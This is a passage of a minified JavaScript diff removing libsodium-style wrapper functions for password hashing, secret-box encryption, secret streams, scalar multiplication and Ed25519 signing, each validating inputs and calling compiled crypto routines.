y2(A4, "invalid usage"); - } - function De2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "state_address"); - var A4 = new f2(0 | r5._crypto_onetimeauth_bytes()), i3 = A4.address; - if (n4.push(i3), !(0 | r5._crypto_onetimeauth_final(t3, i3))) { - var o3 = (r5._free(t3), g2(A4, e4)); - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function Se2(t3, e4) { - var n4 = []; - l2(e4); - var A4 = null; - null != t3 && (A4 = p2(t3 = B2(n4, t3, "key")), t3.length, n4.push(A4)); - var i3 = new f2(144).address; - if (!(0 | r5._crypto_onetimeauth_init(i3, A4))) { - var o3 = i3; - return I2(n4), o3; - } - y2(n4, "invalid usage"); - } - function Ne2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_onetimeauth_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_onetimeauth_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Me2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_onetimeauth_update(t3, i3, o3)) && y2(A4, "invalid usage"), I2(A4); - } - function xe2(t3, e4, n4) { - var A4 = []; - t3 = B2(A4, t3, "hash"); - var i3, o3 = 0 | r5._crypto_onetimeauth_bytes(); - t3.length !== o3 && C2(A4, "invalid hash length"), i3 = p2(t3), A4.push(i3); - var s3 = p2(e4 = B2(A4, e4, "message")), a3 = e4.length; - A4.push(s3), n4 = B2(A4, n4, "key"); - var c3, h3 = 0 | r5._crypto_onetimeauth_keybytes(); - n4.length !== h3 && C2(A4, "invalid key length"), c3 = p2(n4), A4.push(c3); - var g3 = !(0 | r5._crypto_onetimeauth_verify(i3, s3, a3, 0, c3)); - return I2(A4), g3; - } - function Fe2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3), m2(a3, t3, "keyLength"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(a3, "keyLength must be an unsigned integer"); - var c3 = p2(e4 = B2(a3, e4, "password")), h3 = e4.length; - a3.push(c3), n4 = B2(a3, n4, "salt"); - var u3, d3 = 0 | r5._crypto_pwhash_saltbytes(); - n4.length !== d3 && C2(a3, "invalid salt length"), u3 = p2(n4), a3.push(u3), m2(a3, A4, "opsLimit"), ("number" != typeof A4 || (0 | A4) !== A4 || A4 < 0) && C2(a3, "opsLimit must be an unsigned integer"), m2(a3, i3, "memLimit"), ("number" != typeof i3 || (0 | i3) !== i3 || i3 < 0) && C2(a3, "memLimit must be an unsigned integer"), m2(a3, o3, "algorithm"), ("number" != typeof o3 || (0 | o3) !== o3 || o3 < 0) && C2(a3, "algorithm must be an unsigned integer"); - var E3 = new f2(0 | t3), w3 = E3.address; - if (a3.push(w3), !(0 | r5._crypto_pwhash(w3, t3, 0, c3, h3, 0, u3, A4, 0, i3, o3))) { - var v3 = g2(E3, s3); - return I2(a3), v3; - } - y2(a3, "invalid usage"); - } - function Pe2(t3, e4, n4, A4, i3, o3) { - var s3 = []; - l2(o3), m2(s3, t3, "keyLength"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(s3, "keyLength must be an unsigned integer"); - var a3 = p2(e4 = B2(s3, e4, "password")), c3 = e4.length; - s3.push(a3), n4 = B2(s3, n4, "salt"); - var h3, u3 = 0 | r5._crypto_pwhash_scryptsalsa208sha256_saltbytes(); - n4.length !== u3 && C2(s3, "invalid salt length"), h3 = p2(n4), s3.push(h3), m2(s3, A4, "opsLimit"), ("number" != typeof A4 || (0 | A4) !== A4 || A4 < 0) && C2(s3, "opsLimit must be an unsigned integer"), m2(s3, i3, "memLimit"), ("number" != typeof i3 || (0 | i3) !== i3 || i3 < 0) && C2(s3, "memLimit must be an unsigned integer"); - var d3 = new f2(0 | t3), E3 = d3.address; - if (s3.push(E3), !(0 | r5._crypto_pwhash_scryptsalsa208sha256(E3, t3, 0, a3, c3, 0, h3, A4, 0, i3))) { - var w3 = g2(d3, o3); - return I2(s3), w3; - } - y2(s3, "invalid usage"); - } - function Te2(t3, e4, n4, A4, i3, o3, s3) { - var a3 = []; - l2(s3); - var c3 = p2(t3 = B2(a3, t3, "password")), h3 = t3.length; - a3.push(c3); - var u3 = p2(e4 = B2(a3, e4, "salt")), d3 = e4.length; - a3.push(u3), m2(a3, n4, "opsLimit"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(a3, "opsLimit must be an unsigned integer"), m2(a3, A4, "r"), ("number" != typeof A4 || (0 | A4) !== A4 || A4 < 0) && C2(a3, "r must be an unsigned integer"), m2(a3, i3, "p"), ("number" != typeof i3 || (0 | i3) !== i3 || i3 < 0) && C2(a3, "p must be an unsigned integer"), m2(a3, o3, "keyLength"), ("number" != typeof o3 || (0 | o3) !== o3 || o3 < 0) && C2(a3, "keyLength must be an unsigned integer"); - var E3 = new f2(0 | o3), w3 = E3.address; - if (a3.push(w3), !(0 | r5._crypto_pwhash_scryptsalsa208sha256_ll(c3, h3, u3, d3, n4, 0, A4, i3, w3, o3))) { - var v3 = g2(E3, s3); - return I2(a3), v3; - } - y2(a3, "invalid usage"); - } - function Re2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "password")), s3 = t3.length; - i3.push(o3), m2(i3, e4, "opsLimit"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(i3, "opsLimit must be an unsigned integer"), m2(i3, n4, "memLimit"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(i3, "memLimit must be an unsigned integer"); - var a3 = new f2(0 | r5._crypto_pwhash_scryptsalsa208sha256_strbytes()).address; - if (i3.push(a3), !(0 | r5._crypto_pwhash_scryptsalsa208sha256_str(a3, o3, s3, 0, e4, 0, n4))) { - var c3 = r5.UTF8ToString(a3); - return I2(i3), c3; - } - y2(i3, "invalid usage"); - } - function Ue2(t3, e4, n4) { - var A4 = []; - l2(n4), "string" != typeof t3 && C2(A4, "hashed_password must be a string"), t3 = i2(t3 + "\0"), null != s3 && t3.length - 1 !== s3 && C2(A4, "invalid hashed_password length"); - var o3 = p2(t3), s3 = t3.length - 1; - A4.push(o3); - var a3 = p2(e4 = B2(A4, e4, "password")), c3 = e4.length; - A4.push(a3); - var h3 = !(0 | r5._crypto_pwhash_scryptsalsa208sha256_str_verify(o3, a3, c3, 0)); - return I2(A4), h3; - } - function Ge2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "password")), s3 = t3.length; - i3.push(o3), m2(i3, e4, "opsLimit"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(i3, "opsLimit must be an unsigned integer"), m2(i3, n4, "memLimit"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(i3, "memLimit must be an unsigned integer"); - var a3 = new f2(0 | r5._crypto_pwhash_strbytes()).address; - if (i3.push(a3), !(0 | r5._crypto_pwhash_str(a3, o3, s3, 0, e4, 0, n4))) { - var c3 = r5.UTF8ToString(a3); - return I2(i3), c3; - } - y2(i3, "invalid usage"); - } - function He2(t3, e4, n4, A4) { - var o3 = []; - l2(A4), "string" != typeof t3 && C2(o3, "hashed_password must be a string"), t3 = i2(t3 + "\0"), null != a3 && t3.length - 1 !== a3 && C2(o3, "invalid hashed_password length"); - var s3 = p2(t3), a3 = t3.length - 1; - o3.push(s3), m2(o3, e4, "opsLimit"), ("number" != typeof e4 || (0 | e4) !== e4 || e4 < 0) && C2(o3, "opsLimit must be an unsigned integer"), m2(o3, n4, "memLimit"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(o3, "memLimit must be an unsigned integer"); - var c3 = !!(0 | r5._crypto_pwhash_str_needs_rehash(s3, e4, 0, n4)); - return I2(o3), c3; - } - function Le2(t3, e4, n4) { - var A4 = []; - l2(n4), "string" != typeof t3 && C2(A4, "hashed_password must be a string"), t3 = i2(t3 + "\0"), null != s3 && t3.length - 1 !== s3 && C2(A4, "invalid hashed_password length"); - var o3 = p2(t3), s3 = t3.length - 1; - A4.push(o3); - var a3 = p2(e4 = B2(A4, e4, "password")), c3 = e4.length; - A4.push(a3); - var h3 = !(0 | r5._crypto_pwhash_str_verify(o3, a3, c3, 0)); - return I2(A4), h3; - } - function Oe2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "privateKey"); - var i3, o3 = 0 | r5._crypto_scalarmult_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid privateKey length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "publicKey"); - var s3, a3 = 0 | r5._crypto_scalarmult_bytes(); - e4.length !== a3 && C2(A4, "invalid publicKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_scalarmult_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_scalarmult(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "weak public key"); - } - function Ye2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "privateKey"); - var A4, i3 = 0 | r5._crypto_scalarmult_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid privateKey length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_scalarmult_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_scalarmult_base(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "unknown error"); - } - function Ke2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "n"); - var i3, o3 = 0 | r5._crypto_scalarmult_ed25519_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid n length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "p"); - var s3, a3 = 0 | r5._crypto_scalarmult_ed25519_bytes(); - e4.length !== a3 && C2(A4, "invalid p length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_scalarmult_ed25519_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_scalarmult_ed25519(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid point or scalar is 0"); - } - function Je2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "scalar"); - var A4, i3 = 0 | r5._crypto_scalarmult_ed25519_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid scalar length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_scalarmult_ed25519_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_scalarmult_ed25519_base(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "scalar is 0"); - } - function je2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "scalar"); - var A4, i3 = 0 | r5._crypto_scalarmult_ed25519_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid scalar length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_scalarmult_ed25519_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_scalarmult_ed25519_base_noclamp(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "scalar is 0"); - } - function ze2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "n"); - var i3, o3 = 0 | r5._crypto_scalarmult_ed25519_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid n length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "p"); - var s3, a3 = 0 | r5._crypto_scalarmult_ed25519_bytes(); - e4.length !== a3 && C2(A4, "invalid p length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_scalarmult_ed25519_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_scalarmult_ed25519_noclamp(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid point or scalar is 0"); - } - function qe2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "scalar"); - var i3, o3 = 0 | r5._crypto_scalarmult_ristretto255_scalarbytes(); - t3.length !== o3 && C2(A4, "invalid scalar length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "element"); - var s3, a3 = 0 | r5._crypto_scalarmult_ristretto255_bytes(); - e4.length !== a3 && C2(A4, "invalid element length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_scalarmult_ristretto255_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_scalarmult_ristretto255(h3, i3, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "result is identity element"); - } - function Xe2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "scalar"); - var A4, i3 = 0 | r5._crypto_core_ristretto255_scalarbytes(); - t3.length !== i3 && C2(n4, "invalid scalar length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_core_ristretto255_bytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_scalarmult_ristretto255_base(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "scalar is 0"); - } - function Ve2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_secretbox_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "key"); - var h3, u3 = 0 | r5._crypto_secretbox_keybytes(); - n4.length !== u3 && C2(i3, "invalid key length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | s3), m3 = d3.address; - i3.push(m3); - var E3 = new f2(0 | r5._crypto_secretbox_macbytes()), w3 = E3.address; - if (i3.push(w3), !(0 | r5._crypto_secretbox_detached(m3, w3, o3, s3, 0, a3, h3))) { - var v3 = g2({ mac: E3, cipher: d3 }, A4); - return I2(i3), v3; - } - y2(i3, "invalid usage"); - } - function We2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_secretbox_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "key"); - var h3, u3 = 0 | r5._crypto_secretbox_keybytes(); - n4.length !== u3 && C2(i3, "invalid key length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(s3 + r5._crypto_secretbox_macbytes() | 0), m3 = d3.address; - if (i3.push(m3), !(0 | r5._crypto_secretbox_easy(m3, o3, s3, 0, a3, h3))) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function Ze2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_secretbox_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_secretbox_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function $e2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "ciphertext")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "mac"); - var c3, h3 = 0 | r5._crypto_secretbox_macbytes(); - e4.length !== h3 && C2(o3, "invalid mac length"), c3 = p2(e4), o3.push(c3), n4 = B2(o3, n4, "nonce"); - var u3, d3 = 0 | r5._crypto_secretbox_noncebytes(); - n4.length !== d3 && C2(o3, "invalid nonce length"), u3 = p2(n4), o3.push(u3), A4 = B2(o3, A4, "key"); - var m3, E3 = 0 | r5._crypto_secretbox_keybytes(); - A4.length !== E3 && C2(o3, "invalid key length"), m3 = p2(A4), o3.push(m3); - var w3 = new f2(0 | a3), v3 = w3.address; - if (o3.push(v3), !(0 | r5._crypto_secretbox_open_detached(v3, s3, c3, a3, 0, u3, m3))) { - var _3 = g2(w3, i3); - return I2(o3), _3; - } - y2(o3, "wrong secret key for the given ciphertext"); - } - function tr2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), t3 = B2(i3, t3, "ciphertext"); - var o3, s3 = r5._crypto_secretbox_macbytes(), a3 = t3.length; - a3 < s3 && C2(i3, "ciphertext is too short"), o3 = p2(t3), i3.push(o3), e4 = B2(i3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_secretbox_noncebytes(); - e4.length !== h3 && C2(i3, "invalid nonce length"), c3 = p2(e4), i3.push(c3), n4 = B2(i3, n4, "key"); - var u3, d3 = 0 | r5._crypto_secretbox_keybytes(); - n4.length !== d3 && C2(i3, "invalid key length"), u3 = p2(n4), i3.push(u3); - var m3 = new f2(a3 - r5._crypto_secretbox_macbytes() | 0), E3 = m3.address; - if (i3.push(E3), !(0 | r5._crypto_secretbox_open_easy(E3, o3, a3, 0, c3, u3))) { - var w3 = g2(m3, A4); - return I2(i3), w3; - } - y2(i3, "wrong secret key for the given ciphertext"); - } - function er2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "header"); - var i3, o3 = 0 | r5._crypto_secretstream_xchacha20poly1305_headerbytes(); - t3.length !== o3 && C2(A4, "invalid header length"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_secretstream_xchacha20poly1305_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(52).address; - if (!(0 | r5._crypto_secretstream_xchacha20poly1305_init_pull(c3, i3, s3))) { - var h3 = c3; - return I2(A4), h3; - } - y2(A4, "invalid usage"); - } - function rr2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "key"); - var A4, i3 = 0 | r5._crypto_secretstream_xchacha20poly1305_keybytes(); - t3.length !== i3 && C2(n4, "invalid key length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(52).address, s3 = new f2(0 | r5._crypto_secretstream_xchacha20poly1305_headerbytes()), a3 = s3.address; - if (n4.push(a3), !(0 | r5._crypto_secretstream_xchacha20poly1305_init_push(o3, a3, A4))) { - var c3 = { state: o3, header: g2(s3, e4) }; - return I2(n4), c3; - } - y2(n4, "invalid usage"); - } - function nr2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_secretstream_xchacha20poly1305_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_secretstream_xchacha20poly1305_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Ar2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), m2(i3, t3, "state_address"), e4 = B2(i3, e4, "cipher"); - var o3, s3 = r5._crypto_secretstream_xchacha20poly1305_abytes(), a3 = e4.length; - a3 < s3 && C2(i3, "cipher is too short"), o3 = p2(e4), i3.push(o3); - var c3 = null, h3 = 0; - null != n4 && (c3 = p2(n4 = B2(i3, n4, "ad")), h3 = n4.length, i3.push(c3)); - var u3 = new f2(a3 - r5._crypto_secretstream_xchacha20poly1305_abytes() | 0), y3 = u3.address; - i3.push(y3); - var E3, w3 = (E3 = d2(1), i3.push(E3), (w3 = 0 === r5._crypto_secretstream_xchacha20poly1305_pull(t3, y3, 0, E3, o3, a3, 0, c3, h3) && { tag: r5.HEAPU8[E3], message: u3 }) && { message: g2(w3.message, A4), tag: w3.tag }); - return I2(i3), w3; - } - function ir2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3), m2(o3, t3, "state_address"); - var s3 = p2(e4 = B2(o3, e4, "message_chunk")), a3 = e4.length; - o3.push(s3); - var c3 = null, h3 = 0; - null != n4 && (c3 = p2(n4 = B2(o3, n4, "ad")), h3 = n4.length, o3.push(c3)), m2(o3, A4, "tag"), ("number" != typeof A4 || (0 | A4) !== A4 || A4 < 0) && C2(o3, "tag must be an unsigned integer"); - var u3 = new f2(a3 + r5._crypto_secretstream_xchacha20poly1305_abytes() | 0), d3 = u3.address; - if (o3.push(d3), !(0 | r5._crypto_secretstream_xchacha20poly1305_push(t3, d3, 0, s3, a3, 0, c3, h3, 0, A4))) { - var E3 = g2(u3, i3); - return I2(o3), E3; - } - y2(o3, "invalid usage"); - } - function or2(t3, e4) { - var n4 = []; - return l2(e4), m2(n4, t3, "state_address"), r5._crypto_secretstream_xchacha20poly1305_rekey(t3), I2(n4), true; - } - function sr2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_shorthash_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_shorthash_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_shorthash(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function ar2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_shorthash_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_shorthash_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function cr2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "key"); - var s3, a3 = 0 | r5._crypto_shorthash_siphashx24_keybytes(); - e4.length !== a3 && C2(A4, "invalid key length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_shorthash_siphashx24_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_shorthash_siphashx24(h3, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function hr2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "privateKey"); - var s3, a3 = 0 | r5._crypto_sign_secretkeybytes(); - e4.length !== a3 && C2(A4, "invalid privateKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(t3.length + r5._crypto_sign_bytes() | 0), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_sign(h3, null, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function gr2(t3, e4, n4) { - var A4 = []; - l2(n4); - var i3 = p2(t3 = B2(A4, t3, "message")), o3 = t3.length; - A4.push(i3), e4 = B2(A4, e4, "privateKey"); - var s3, a3 = 0 | r5._crypto_sign_secretkeybytes(); - e4.length !== a3 && C2(A4, "invalid privateKey length"), s3 = p2(e4), A4.push(s3); - var c3 = new f2(0 | r5._crypto_sign_bytes()), h3 = c3.address; - if (A4.push(h3), !(0 | r5._crypto_sign_detached(h3, null, i3, o3, 0, s3))) { - var u3 = g2(c3, n4); - return I2(A4), u3; - } - y2(A4, "invalid usage"); - } - function ur2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "edPk"); - var A4, i3 = 0 | r5._crypto_sign_publickeybytes(); - t3.length !== i3 && C2(n4, "invalid edPk length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_scalarmult_scalarbytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_sign_ed25519_pk_to_curve25519(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid key"); - } - function lr2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "edSk"); - var A4, i3 = 0 | r5._crypto_sign_secretkeybytes(); - t3.length !== i3 && C2(n4, "invalid edSk length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_scalarmult_scalarbytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_sign_ed25519_sk_to_curve25519(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid key"); - } - function fr2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "privateKey"); - var A4, i3 = 0 | r5._crypto_sign_secretkeybytes(); - t3.length !== i3 && C2(n4, "invalid privateKey length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_sign_publickeybytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_sign_ed25519_sk_to_pk(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid key"); - } - function pr2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "privateKey"); - var A4, i3 = 0 | r5._crypto_sign_secretkeybytes(); - t3.length !== i3 && C2(n4, "invalid privateKey length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_sign_seedbytes()), s3 = o3.address; - if (n4.push(s3), !(0 | r5._crypto_sign_ed25519_sk_to_seed(s3, A4))) { - var a3 = g2(o3, e4); - return I2(n4), a3; - } - y2(n4, "invalid key"); - } - function dr2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"), e4 = B2(A4, e4, "privateKey"); - var i3, o3 = 0 | r5._crypto_sign_secretkeybytes(); - e4.length !== o3 && C2(A4, "invalid privateKey length"), i3 = p2(e4), A4.push(i3); - var s3 = new f2(0 | r5._crypto_sign_bytes()), a3 = s3.address; - if (A4.push(a3), !(0 | r5._crypto_sign_final_create(t3, a3, null, i3))) { - var c3 = (r5._free(t3), g2(s3, n4)); - return I2(A4), c3; - } - y2(A4, "invalid usage"); - } - function Ir2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), m2(i3, t3, "state_address"), e4 = B2(i3, e4, "signature"); - var o3, s3 = 0 | r5._crypto_sign_bytes(); - e4.length !== s3 && C2(i3, "invalid signature length"), o3 = p2(e4), i3.push(o3), n4 = B2(i3, n4, "publicKey"); - var a3, c3 = 0 | r5._crypto_sign_publickeybytes(); - n4.length !== c3 && C2(i3, "invalid publicKey length"), a3 = p2(n4), i3.push(a3); - var h3 = !(0 | r5._crypto_sign_final_verify(t3, o3, a3)); - return I2(i3), h3; - } - function yr2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(208).address; - if (!(0 | r5._crypto_sign_init(n4))) { - var A4 = n4; - return I2(e4), A4; - } - y2(e4, "internal error"); - } - function Cr2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_sign_publickeybytes()), A4 = n4.address; - e4.push(A4); - var i3 = new f2(0 | r5._crypto_sign_secretkeybytes()), o3 = i3.address; - if (e4.push(o3), !(0 | r5._crypto_sign_keypair(A4, o3))) { - var s3 = { publicKey: g2(n4, t3), privateKey: g2(i3, t3), keyType: "ed25519" }; - return I2(e4), s3; - } - y2(e4, "internal error"); - } - function mr2(t3, e4, n4) { - var A4 = []; - l2(n4), t3 = B2(A4, t3, "signedMessage"); - var i3, o3 = r5._crypto_sign_bytes(), s3 = t3.length; - s3 < o3 && C2(A4, "signedMessage is too short"), i3 = p2(t3), A4.push(i3), e4 = B2(A4, e4, "publicKey"); - var a3, c3 = 0 | r5._crypto_sign_publickeybytes(); - e4.length !== c3 && C2(A4, "invalid publicKey length"), a3 = p2(e4), A4.push(a3); - var h3 = new f2(s3 - r5._crypto_sign_bytes() | 0), u3 = h3.address; - if (A4.push(u3), !(0 | r5._crypto_sign_open(u3, null, i3, s3, 0, a3))) { - var d3 = g2(h3, n4); - return I2(A4), d3; - } - y2(A4, "incorrect signature for the given public key"); - } - function Br2(t3, e4) { - var n4 = []; - l2(e4), t3 = B2(n4, t3, "seed"); - var A4, i3 = 0 | r5._crypto_sign_seedbytes(); - t3.length !== i3 && C2(n4, "invalid seed length"), A4 = p2(t3), n4.push(A4); - var o3 = new f2(0 | r5._crypto_sign_publickeybytes()), s3 = o3.address; - n4.push(s3); - var a3 = new f2(0 | r5._crypto_sign_secretkeybytes()), c3 = a3.address; - if (n4.push(c3), !(0 | r5._crypto_sign_seed_keypair(s3, c3, A4))) { - var h3 = { publicKey: g2(o3, e4), privateKey: g2(a3, e4), keyType: "ed25519" }; - return I2(n4), h3; - } - y2(n4, "invalid usage"); - } - function Er2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "state_address"); - var i3 = p2(e4 = B2(A4, e4, "message_chunk")), o3 = e4.length; - A4.push(i3), !!(0 | r5._crypto_sign_update(t3, i3, o3, 0)) && y2(A4, "invalid usage"), I2(A4); - } - function wr2(t3, e4, n4) { - var A4 = []; - t3 = B2(A4, t3, "signature"); - var i3, o3 = 0 | r5._crypto_sign_bytes(); - t3.length !== o3 && C2(A4, "invalid signature length"), i3 = p2(t3), A4.push(i3); - var s3 = p2(e4 = B2(A4, e4, "message")), a3 = e4.length; - A4.push(s3), n4 = B2(A4, n4, "publicKey"); - var c3, h3 = 0 | r5._crypto_sign_publickeybytes(); - n4.length !== h3 && C2(A4, "invalid publicKey length"), c3 = p2(n4), A4.push(c3); - var g3 = !(0 | r5._crypto_sign_verify_detached(i3, s3, a3, 0, c3)); - return I2(A4), g3; - } - function vr2(t3, e4, n4, A4) { - var i3 = []; - l2(A4), m2(i3, t3, "outLength"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(i3, "outLength must be an unsigned integer"), e4 = B2(i3, e4, "key"); - var o3, s3 = 0 | r5._crypto_stream_chacha20_keybytes(); - e4.length !== s3 && C2(i3, "invalid key 